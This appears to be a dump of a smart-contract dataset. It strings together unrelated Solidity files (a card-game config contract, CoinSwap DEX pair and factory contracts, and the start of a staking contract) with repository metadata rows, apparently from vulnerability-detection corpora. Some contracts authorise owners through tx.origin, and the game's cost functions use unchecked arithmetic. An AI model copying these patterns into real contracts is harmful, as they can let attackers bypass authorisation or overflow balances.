}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 291,794 | 11,773 |
07c8bbe95d76ef42a20241d3e9f13a57790243308fce524d7b35514ccf453a54
| 14,837 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xbd80161e3c4d7d18ec8f86002da2529f1e4b034b.sol
| 4,084 | 13,999 |
pragma solidity ^0.4.18;
contract GameConfig {
using SafeMath for SafeMath;
address public owner;
event newCard(uint256 cardId,uint256 baseCoinCost,uint256 coinCostIncreaseHalf,uint256 ethCost,uint256 baseCoinProduction);
event newBattleCard(uint256 cardId,uint256 baseCoinCost,uint256 coinCostIncreaseHalf,uint256 ethCost,uint256 attackValue,uint256 defenseValue,uint256 coinStealingCapacity);
event newUpgradeCard(uint256 upgradecardId, uint256 coinCost, uint256 ethCost, uint256 upgradeClass, uint256 cardId, uint256 upgradeValue, uint256 increase);
struct Card {
uint256 cardId;
uint256 baseCoinCost;
uint256 coinCostIncreaseHalf; // Halfed to make maths slightly less (cancels a 2 out)
uint256 ethCost;
uint256 baseCoinProduction;
bool unitSellable; // Rare units (from raffle) not sellable
}
struct BattleCard {
uint256 cardId;
uint256 baseCoinCost;
uint256 coinCostIncreaseHalf; // Halfed to make maths slightly less (cancels a 2 out)
uint256 ethCost;
uint256 attackValue;
uint256 defenseValue;
uint256 coinStealingCapacity;
bool unitSellable; // Rare units (from raffle) not sellable
}
struct UpgradeCard {
uint256 upgradecardId;
uint256 coinCost;
uint256 ethCost;
uint256 upgradeClass;
uint256 cardId;
uint256 upgradeValue;
uint256 increase;
}
mapping(uint256 => Card) private cardInfo; //normal card
mapping(uint256 => BattleCard) private battlecardInfo; //battle card
mapping(uint256 => UpgradeCard) private upgradeInfo; //upgrade card
uint256 public currNumOfCards;
uint256 public currNumOfBattleCards;
uint256 public currNumOfUpgrades;
uint256 public Max_CAP = 99;
uint256 PLATPrice = 65000;
string versionNo;
// Constructor
function GameConfig() public {
owner = msg.sender;
versionNo = "20180523";
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address allowed;
function setAllowedAddress(address _address) external onlyOwner {
require(_address != address(0));
allowed = _address;
}
modifier onlyAccess() {
require(msg.sender == allowed || msg.sender == owner);
_;
}
function setMaxCAP(uint256 iMax) external onlyOwner {
Max_CAP = iMax;
}
function getMaxCAP() external view returns (uint256) {
return Max_CAP;
}
function setPLATPrice(uint256 price) external onlyOwner {
PLATPrice = price;
}
function getPLATPrice() external view returns (uint256) {
return PLATPrice;
}
function getVersion() external view returns(string) {
return versionNo;
}
function setVersion(string _versionNo) external onlyOwner {
versionNo = _versionNo;
}
function CreateBattleCards(uint256 _cardId, uint256 _baseCoinCost, uint256 _coinCostIncreaseHalf, uint256 _ethCost, uint _attackValue, uint256 _defenseValue, uint256 _coinStealingCapacity, bool _unitSellable) external onlyAccess {
BattleCard memory _battlecard = BattleCard({
cardId: _cardId,
baseCoinCost: _baseCoinCost,
coinCostIncreaseHalf: _coinCostIncreaseHalf,
ethCost: _ethCost,
attackValue: _attackValue,
defenseValue: _defenseValue,
coinStealingCapacity: _coinStealingCapacity,
unitSellable: _unitSellable
});
battlecardInfo[_cardId] = _battlecard;
currNumOfBattleCards = SafeMath.add(currNumOfBattleCards,1);
newBattleCard(_cardId,_baseCoinCost,_coinCostIncreaseHalf,_ethCost,_attackValue,_defenseValue,_coinStealingCapacity);
}
function CreateCards(uint256 _cardId, uint256 _baseCoinCost, uint256 _coinCostIncreaseHalf, uint256 _ethCost, uint256 _baseCoinProduction, bool _unitSellable) external onlyAccess {
Card memory _card = Card({
cardId: _cardId,
baseCoinCost: _baseCoinCost,
coinCostIncreaseHalf: _coinCostIncreaseHalf,
ethCost: _ethCost,
baseCoinProduction: _baseCoinProduction,
unitSellable: _unitSellable
});
cardInfo[_cardId] = _card;
currNumOfCards = SafeMath.add(currNumOfCards,1);
newCard(_cardId,_baseCoinCost,_coinCostIncreaseHalf,_ethCost,_baseCoinProduction);
}
function CreateUpgradeCards(uint256 _upgradecardId, uint256 _coinCost, uint256 _ethCost, uint256 _upgradeClass, uint256 _cardId, uint256 _upgradeValue, uint256 _increase) external onlyAccess {
UpgradeCard memory _upgradecard = UpgradeCard({
upgradecardId: _upgradecardId,
coinCost: _coinCost,
ethCost: _ethCost,
upgradeClass: _upgradeClass,
cardId: _cardId,
upgradeValue: _upgradeValue,
increase: _increase
});
upgradeInfo[_upgradecardId] = _upgradecard;
currNumOfUpgrades = SafeMath.add(currNumOfUpgrades,1);
newUpgradeCard(_upgradecardId,_coinCost,_ethCost,_upgradeClass,_cardId,_upgradeValue,_increase);
}
function getCostForCards(uint256 cardId, uint256 existing, uint256 amount) public constant returns (uint256) {
uint256 icount = existing;
if (amount == 1) {
if (existing == 0) {
return cardInfo[cardId].baseCoinCost;
} else {
return cardInfo[cardId].baseCoinCost + (existing * cardInfo[cardId].coinCostIncreaseHalf * 2);
}
} else if (amount > 1) {
uint256 existingCost;
if (existing > 0) {
existingCost = (cardInfo[cardId].baseCoinCost * existing) + (existing * (existing - 1) * cardInfo[cardId].coinCostIncreaseHalf);
}
icount = SafeMath.add(existing,amount);
uint256 newCost = SafeMath.add(SafeMath.mul(cardInfo[cardId].baseCoinCost, icount), SafeMath.mul(SafeMath.mul(icount, (icount - 1)), cardInfo[cardId].coinCostIncreaseHalf));
return newCost - existingCost;
}
}
function getCostForBattleCards(uint256 cardId, uint256 existing, uint256 amount) public constant returns (uint256) {
uint256 icount = existing;
if (amount == 1) {
if (existing == 0) {
return battlecardInfo[cardId].baseCoinCost;
} else {
return battlecardInfo[cardId].baseCoinCost + (existing * battlecardInfo[cardId].coinCostIncreaseHalf * 2);
}
} else if (amount > 1) {
uint256 existingCost;
if (existing > 0) {
existingCost = (battlecardInfo[cardId].baseCoinCost * existing) + (existing * (existing - 1) * battlecardInfo[cardId].coinCostIncreaseHalf);
}
icount = SafeMath.add(existing,amount);
uint256 newCost = SafeMath.add(SafeMath.mul(battlecardInfo[cardId].baseCoinCost, icount), SafeMath.mul(SafeMath.mul(icount, (icount - 1)), battlecardInfo[cardId].coinCostIncreaseHalf));
return newCost - existingCost;
}
}
function getCostForUprade(uint256 cardId, uint256 existing, uint256 amount) public constant returns (uint256) {
if (amount == 1) {
if (existing == 0) {
return upgradeInfo[cardId].coinCost;
} else if (existing == 1 || existing == 4){
return 0;
}else if (existing == 2) {
return upgradeInfo[cardId].coinCost * 50;
}else if (existing == 3) {
return upgradeInfo[cardId].coinCost * 50 * 40;
}else if (existing == 5) {
return upgradeInfo[cardId].coinCost * 50 * 40 * 30;
}
}
}
function getWeakenedDefensePower(uint256 defendingPower) external pure returns (uint256) {
return SafeMath.div(defendingPower,2);
}
/// @notice get the production card's ether cost
function unitEthCost(uint256 cardId) external constant returns (uint256) {
return cardInfo[cardId].ethCost;
}
/// @notice get the battle card's ether cost
function unitBattleEthCost(uint256 cardId) external constant returns (uint256) {
return battlecardInfo[cardId].ethCost;
}
/// @notice get the battle card's plat cost
function unitBattlePLATCost(uint256 cardId) external constant returns (uint256) {
return SafeMath.mul(battlecardInfo[cardId].ethCost,PLATPrice);
}
/// @notice normal production plat value
function unitPLATCost(uint256 cardId) external constant returns (uint256) {
return SafeMath.mul(cardInfo[cardId].ethCost,PLATPrice);
}
function unitCoinProduction(uint256 cardId) external constant returns (uint256) {
return cardInfo[cardId].baseCoinProduction;
}
function unitAttack(uint256 cardId) external constant returns (uint256) {
return battlecardInfo[cardId].attackValue;
}
function unitDefense(uint256 cardId) external constant returns (uint256) {
return battlecardInfo[cardId].defenseValue;
}
function unitStealingCapacity(uint256 cardId) external constant returns (uint256) {
return battlecardInfo[cardId].coinStealingCapacity;
}
function productionCardIdRange() external constant returns (uint256, uint256) {
return (1, currNumOfCards);
}
function battleCardIdRange() external constant returns (uint256, uint256) {
uint256 battleMax = SafeMath.add(39,currNumOfBattleCards);
return (40, battleMax);
}
function upgradeIdRange() external constant returns (uint256, uint256) {
return (1, currNumOfUpgrades);
}
// get the detail info of card
function getCardsInfo(uint256 cardId) external constant returns (uint256 baseCoinCost,
uint256 coinCostIncreaseHalf,
uint256 ethCost,
uint256 baseCoinProduction,
uint256 platCost,
bool unitSellable) {
baseCoinCost = cardInfo[cardId].baseCoinCost;
coinCostIncreaseHalf = cardInfo[cardId].coinCostIncreaseHalf;
ethCost = cardInfo[cardId].ethCost;
baseCoinProduction = cardInfo[cardId].baseCoinProduction;
platCost = SafeMath.mul(ethCost,PLATPrice);
unitSellable = cardInfo[cardId].unitSellable;
}
//for production card
function getCardInfo(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256, uint256, uint256, uint256, bool) {
return (cardInfo[cardId].cardId, cardInfo[cardId].baseCoinProduction, getCostForCards(cardId, existing, amount), SafeMath.mul(cardInfo[cardId].ethCost, amount),cardInfo[cardId].unitSellable);
}
//for battle card
function getBattleCardInfo(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256, uint256, uint256, bool) {
return (battlecardInfo[cardId].cardId, getCostForBattleCards(cardId, existing, amount), SafeMath.mul(battlecardInfo[cardId].ethCost, amount),battlecardInfo[cardId].unitSellable);
}
//Battle Cards
function getBattleCardsInfo(uint256 cardId) external constant returns (uint256 baseCoinCost,
uint256 coinCostIncreaseHalf,
uint256 ethCost,
uint256 attackValue,
uint256 defenseValue,
uint256 coinStealingCapacity,
uint256 platCost,
bool unitSellable) {
baseCoinCost = battlecardInfo[cardId].baseCoinCost;
coinCostIncreaseHalf = battlecardInfo[cardId].coinCostIncreaseHalf;
ethCost = battlecardInfo[cardId].ethCost;
attackValue = battlecardInfo[cardId].attackValue;
defenseValue = battlecardInfo[cardId].defenseValue;
coinStealingCapacity = battlecardInfo[cardId].coinStealingCapacity;
platCost = SafeMath.mul(ethCost,PLATPrice);
unitSellable = battlecardInfo[cardId].unitSellable;
}
//upgrade cards
function getUpgradeCardsInfo(uint256 upgradecardId, uint256 existing) external constant returns (uint256 coinCost,
uint256 ethCost,
uint256 upgradeClass,
uint256 cardId,
uint256 upgradeValue,
uint256 platCost) {
coinCost = upgradeInfo[upgradecardId].coinCost;
ethCost = upgradeInfo[upgradecardId].ethCost;
upgradeClass = upgradeInfo[upgradecardId].upgradeClass;
cardId = upgradeInfo[upgradecardId].cardId;
uint8 uflag;
if (coinCost >0) {
if (upgradeClass ==0 || upgradeClass ==1 || upgradeClass == 3) {
uflag = 1;
} else if (upgradeClass==2 || upgradeClass == 4 || upgradeClass==5 || upgradeClass==7) {
uflag = 2;
}
}
if (coinCost>0 && existing>=1) {
coinCost = getCostForUprade(upgradecardId, existing, 1);
}
if (ethCost>0) {
if (upgradecardId == 2) {
if (existing>=1) {
ethCost = SafeMath.mul(ethCost,2);
}
}
}else {
if ((existing ==1 || existing ==4)) {
if (ethCost<=0) {
ethCost = 0.1 ether;
coinCost = 0;
}
}
}
upgradeValue = upgradeInfo[upgradecardId].upgradeValue;
if (ethCost>0) {
if (uflag==1) {
upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 2;
} else if (uflag==2) {
upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 4;
} else {
if (upgradeClass == 6){
if (upgradecardId == 27){
upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 5;
} else if (upgradecardId == 40) {
upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 3;
}
}
}
}
platCost = SafeMath.mul(ethCost,PLATPrice);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 206,680 | 11,774 |
0b4f7e721b6c7264bd9998a193e02a282e33f7525df616d0d346e037a64a7d28
| 16,964 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x12ee90f9b476f1808544c1e8abe1266d95e5e613.sol
| 5,049 | 16,715 |
pragma solidity =0.7.4;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface ICoinSwapERC20 is IERC20 {
event Swap(address indexed,uint192,uint192,address indexed);
event Sync(uint);
event Mint(address indexed sender, uint192);
event Burn(address indexed sender, uint192, address indexed to);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
interface ICoinSwapCallee {
function coinswapCall(address sender, uint amount0,uint amount1, bytes calldata data) external;
}
contract CoinSwapERC20 is ICoinSwapERC20 {
using SafeMath for uint;
string public constant override name = 'CoinSwap V1';
string public constant override symbol = 'CSWPLT';//CoinSwap Liquidity Token
uint8 public constant override decimals = 18;
uint public override totalSupply;
mapping(address => uint) public override balanceOf;
mapping(address => mapping(address => uint)) public override allowance;
bytes32 public override DOMAIN_SEPARATOR;
bytes32 public constant override PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public override nonces;
constructor() {
uint chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)));
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external override returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(deadline >= block.timestamp, 'CSWP:01');
bytes32 digest = keccak256(abi.encodePacked('\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'CSWP:02');
_approve(owner, spender, value);
}
}
contract CoinSwapPair is CoinSwapERC20 {
using SafeMath for uint;
address public patron;
address public factory;
address public token0; // token0 < token1
address public token1;
uint224 private reserve; //reserve0(96) | reserve1(96) | blockTimestampLast(32)
uint private unlocked = 1;
uint public priceCumulative; //=Delta_y/Delta_x: 96-fractional bits; allows overflow
uint224 private circleData;
modifier lock() {
require(unlocked == 1, 'CSWP:1');
unlocked = 0;
_;
unlocked = 1;
}
constructor() {factory = msg.sender; patron=tx.origin;}
function initialize(address _token0, address _token1, uint224 circle) external {
require(circleData == 0, 'CSWP:2');
token0 = _token0;
token1 = _token1;
circleData = circle; // validity of circle should be checked by CoinSwapFactory
}
function ICO(uint224 _circleData) external {
require((tx.origin==patron) && (circleData >> 216) >0, 'CSWP:3');//to close ICO, set (circleData >> 216) = 0x00
circleData = _circleData;
}
function setPatron(address _patron) external {
require((tx.origin==patron), 'CSWP:11');
patron = _patron;
}
function getReserves() public view returns (uint224 _reserve, uint224 _circleData) {
_reserve = reserve;
_circleData = circleData;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'CSWP:6');
}
function revisemu(uint192 balance) private returns (uint56 _mu) {
require(balance>0, 'CSWP:4');
uint224 _circleData = circleData;
uint X = uint(balance>>96) * uint16(_circleData >> 72)* uint56(_circleData >> 160);
uint Y = uint(uint96(balance)) * uint16(_circleData >> 56)* uint56(_circleData >> 104);
uint XpY = X + Y;
uint X2pY2 = (X*X) + (Y*Y);
X = XpY*100;
Y = (X*X) + X2pY2 * (10000+ uint16(_circleData>>88));
uint Z= X2pY2 * 20000;
require(Y>Z, 'CSWP:5');
Y = SQRT.sqrt(Y-Z);
Z = Y > X ? X + Y : X-Y;
_mu = uint56(1)+uint56(((10**32)*Z) / X2pY2);
circleData = (_circleData & 0xFF_FFFFFFFFFFFFFF_FFFFFFFFFFFFFF_FFFF_FFFF_FFFF_00000000000000) | uint224(_mu);
}
function _update(uint balance) private {
uint32 lastTime = uint32(balance);
uint32 deltaTime = uint32(block.timestamp) -lastTime ;
if (deltaTime>0 && lastTime>0) {
uint circle = circleData;
uint lambda0 = uint16(circle >> 72);
uint lambda1 = uint16(circle >> 56);
uint CmulambdaX = 10**34 - (balance>>128) *lambda0*uint56(circle)*uint56(circle >> 160);
uint CmulambdaY = 10**34 - uint96(balance>>32)*lambda1*uint56(circle)*uint56(circle >> 104);
priceCumulative += (((lambda0*CmulambdaX)<< 96)/(lambda1*CmulambdaY)) * deltaTime;
}
reserve = uint224(balance +deltaTime);
emit Sync(balance>>32);
}
function _mintFee(uint56 mu0) private returns (uint56 mu) {
address feeTo = CoinSwapFactory(factory).feeTo();
mu=revisemu(uint192(reserve>>32));
if (mu0>mu) _mint(feeTo, totalSupply.mul(uint(mu0-mu)) / (5*mu0+mu));
}
function mint(address to) external lock returns (uint liquidity) {
uint224 circle = circleData;
uint _totalSupply = totalSupply;
uint224 _reserve = reserve;
uint96 reserve0 = uint96(_reserve >>128);
uint96 reserve1 = uint96(_reserve >>32);
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint scaledBalance0 = balance0* uint56(circle >> 160);
uint scaledBalance1 = balance1* uint56(circle >> 104);
require((scaledBalance0< 2**96) && (scaledBalance1< 2**96)
&& (scaledBalance0 >=10**16 || scaledBalance1 >=10**16), 'CSWP:7');
if (_totalSupply == 0) {
uint lambda0 = uint16(circle >> 72);
uint lambda1 = uint16(circle >> 56);
liquidity = (scaledBalance0 * lambda0 + scaledBalance1 * lambda1) >> 1;
revisemu(uint192((balance0<<96)|balance1));
} else {
uint56 mu0=_mintFee(uint56(circle));
_totalSupply = totalSupply;
(uint mu, uint _totalS)=(0,0);
if (reserve0==0) {
mu=(uint(mu0) * reserve1) / balance1;
_totalS = _totalSupply.mul(balance1)/reserve1;
} else if (reserve1==0) {
mu=(uint(mu0) * reserve0) / balance0;
_totalS = _totalSupply.mul(balance0)/reserve0;
} else {
(mu, _totalS) = (balance0 * reserve1) < (balance1 * reserve0)?
((uint(mu0) * reserve0) / balance0, _totalSupply.mul(balance0)/reserve0) :
((uint(mu0) * reserve1) / balance1, _totalSupply.mul(balance1)/reserve1) ;
}
liquidity = _totalS - _totalSupply;
circleData = (circle & 0xFF_FFFFFFFFFFFFFF_FFFFFFFFFFFFFF_FFFF_FFFF_FFFF_00000000000000) | uint224(mu);
}
_mint(to, liquidity);
_update(balance0<<128 | balance1<<32 | uint32(_reserve));
emit Mint(msg.sender, uint192((balance0-reserve0)<<96 | (balance1-reserve1)));
}
function burn(address to) external lock returns (uint192 amount) {
uint224 _reserve = reserve;
address _token0 = token0;
address _token1 = token1;
_mintFee(uint56(circleData));
uint _totalSupply = totalSupply;
uint liquidity = balanceOf[address(this)];
uint amount0 = liquidity.mul(uint96(_reserve>>128)) / _totalSupply;
uint amount1 = liquidity.mul(uint96(_reserve>>32)) / _totalSupply;
amount = uint192((amount0<<96)|amount1);
require(amount > 0, 'CSWP:8');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
uint192 combinedBalance = uint192(IERC20(_token0).balanceOf(address(this))<<96 | IERC20(_token1).balanceOf(address(this)));
_update(uint(combinedBalance)<<32 | uint32(_reserve));
if (combinedBalance>0) revisemu(combinedBalance);
emit Burn(msg.sender, amount, to);
}
function swap(uint amountOut, address to, bytes calldata data) external lock {
uint amount0Out = (amountOut >> 96);
uint amount1Out = uint(uint96(amountOut));
uint balance0;
uint balance1;
uint _circleData = circleData;
{ // avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require((to != _token0) && (to != _token1), 'CSWP:9');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out);
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out);
if (data.length > 0) ICoinSwapCallee(to).coinswapCall(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
require(balance0*uint56(_circleData >> 160) < 2**96
&& balance1*uint56(_circleData >> 104) < 2**96, 'CSWP:10');
}
uint amountIn0;
uint amountIn1;
uint224 _reserve = reserve;
{// if _reserve0 < amountOut, then should have been reverted above already, so no need to check here
uint96 reserve0 = uint96(_reserve >>128);
uint96 reserve1 = uint96(_reserve >>32);
amountIn0 = balance0 + amount0Out - reserve0;
amountIn1 = balance1 + amount1Out - reserve1;
uint mulambda0 = uint(uint16(_circleData >> 72))*uint56(_circleData)*uint56(_circleData >> 160);
uint mulambda1 = uint(uint16(_circleData >> 56))*uint56(_circleData)*uint56(_circleData >> 104);
uint X=mulambda0*(balance0*1000 - amountIn0*3);
uint Y=mulambda1*(balance1*1000 - amountIn1*3);
require(10**37 > X && 10**37 >Y, 'CSWP:11');
X = 10**37-X;
Y = 10**37-Y;
uint newrSquare = X*X+Y*Y;
X=10**37-(mulambda0 * reserve0*1000);
Y=10**37-(mulambda1 * reserve1*1000);
require(newrSquare<= (X*X+Y*Y), 'CSWP:12');
}
_update(balance0<<128 | balance1<<32 | uint32(_reserve));
emit Swap(msg.sender, uint192(amountIn0<<96 | amountIn1), uint192(amountOut), to);
}
}
contract CoinSwapFactory {
address payable public feeTo;
address payable public feeToSetter;
mapping(address => mapping(address => address)) public getPair;
address[] public allPairs;
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
constructor(address payable _feeToSetter) {
feeToSetter = _feeToSetter;
feeTo = _feeToSetter;
}
function allPairsLength() external view returns (uint) {
return allPairs.length;
}
function createPair(address tokenA, address tokenB, uint224 circle) external returns (address pair) {
require(tx.origin==feeToSetter, 'CSWP:22');
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(getPair[token0][token1] == address(0), 'CSWP:20');
require(uint16(circle>>56)>0 && uint16(circle>>72)>0 &&
uint16(circle>>88)>0 && uint16(circle>>88)<=9999
&& uint56(circle>>104)>=1 && uint56(circle>>104)<=10**16
&& uint56(circle>>160)>=1 && uint56(circle>>160)<=10**16, 'CSWP:23');
bytes memory bytecode = type(CoinSwapPair).creationCode;
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
assembly {
pair := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
CoinSwapPair(pair).initialize(token0, token1, circle);
getPair[token0][token1] = pair;
getPair[token1][token0] = pair;
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}
function setFeeTo(address payable _feeTo) external {
require(msg.sender == feeToSetter, 'CSWP:21');
feeTo = _feeTo;
}
function setFeeToSetter(address payable _feeToSetter) external {
require(msg.sender == feeToSetter, 'CSWP:22');
feeToSetter = _feeToSetter;
}
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library SQRT {
function sqrt(uint256 a) internal pure returns (uint256 x) {
if (a > 3) {
uint msbpos =0;
uint b=a;
if (b > 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) {
msbpos += 128;
b = b >> 128;
}
if (b > 0xFFFFFFFFFFFFFFFF) {
msbpos += 64;
b = b>>64;
}
if (b > 0xFFFFFFFF) {
msbpos += 32;
b = b>>32;
}
if (b > 0xFFFF) {
msbpos += 16;
b = b>>16;
}
if (b > 0xFF) {
msbpos += 8;
b = b>>8;
}
if (b > 0xF) {
msbpos += 4;
}
msbpos += 4;
uint256 x0=a;
uint X=((a >> 1) + 1);
uint Y=2**(msbpos/2);
x = X< Y ? X : Y;
while (x < x0) {
x0 = x;
x = (a / x0 + x0) >> 1;
}
} else if (a != 0) {
x = 1;
}
}
}
| 275,605 | 11,775 |
ad6c8643379ebc3224a70c9c1fda4084f729bac03ca14ff37ec1dff36c1ee9fb
| 22,466 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/f2/f2FA8c47055CF155B740b94069bFAa3a4D988fAE_stakeCON.sol
| 3,586 | 13,113 |
pragma solidity 0.5.16;
pragma experimental ABIEncoderV2;
contract Governance {
address public _governance;
constructor() public {
_governance = tx.origin;
}
event GovernanceTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyGovernance {
require(msg.sender == _governance, "not governance");
_;
}
function setGovernance(address governance) public onlyGovernance
{
require(governance != address(0), "new governance the zero address");
emit GovernanceTransferred(_governance, governance);
_governance = governance;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
function safeTransfer(IERC20 token, address to, uint256 value) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'SafeERC20: TRANSFER_FAILED');
}
// function safeTransfer(IERC20 token, address to, uint256 value) internal {
// callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
// }
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
